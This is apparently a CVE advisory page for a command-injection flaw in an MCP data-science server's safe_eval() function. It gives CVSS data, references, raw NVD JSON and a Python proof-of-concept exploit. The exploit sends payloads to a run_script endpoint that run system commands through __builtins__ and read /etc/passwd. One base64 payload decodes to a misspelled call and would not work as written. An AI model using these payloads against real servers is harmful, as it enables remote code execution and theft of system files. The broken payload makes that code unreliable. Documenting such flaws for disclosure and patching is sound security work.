CVE-2025-63603

Description

A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mcp_server_for_data_exploration_project:mcp_server_for_data_exploration:0.1.6:*:*:*:*:*:*:* - VULNERABLE

reading-plus-ai/mcp-server-data-exploration 0.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-63603 PoC - MCP Data Science Server Command Execution
Note: This PoC is for educational and security testing purposes only.
"""

import requests
import json

# Target MCP Data Science Server endpoint
TARGET_URL = "http://target-server:8000/run_script"

# Malicious payload - execute system command via __builtins__
payload = """
__builtins__['__import__']('os').system('whoami > /tmp/pwned.txt')
"""

# Alternative payload using exec
payload_exec = """
exec(__import__('base64').b64decode('b3MuU3lzdGVtKCd3aG9hbWknKQ==').decode())
"""

# Read file using builtins
payload_read = """
result = open('/etc/passwd').read()
print(result)
"""

def exploit(target_url, payload):
    """Send malicious script to vulnerable MCP server"""
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'MCP-Client/1.0'
    }
    
    data = {
        'script': payload,
        'timeout': 30
    }
    
    try:
        response = requests.post(target_url, json=data, headers=headers, timeout=10)
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response: {response.text}")
        return response
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    print("[*] CVE-2025-63603 PoC")
    print("[*] Target: MCP Data Science Server")
    print("[*] Exploiting safe_eval() command injection...")
    exploit(TARGET_URL, payload)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63603
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63603
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63603/
[4] VulDB https://vuldb.com/cve/CVE-2025-63603
[5] https://github.com/reading-plus-ai/mcp-server-data-exploration/issues/12

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63603", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:45.833", "lastModified": "2026-01-02T20:38:58.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcp_server_for_data_exploration_project:mcp_server_for_data_exploration:0.1.6:*:*:*:*:*:*:*", "matchCriteriaId": "B11CD521-EAB2-41C7-900E-BF27AB39822E"}]}]}], "references": [{"url": "https://github.com/reading-plus-ai/mcp-server-data-exploration/issues/12", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}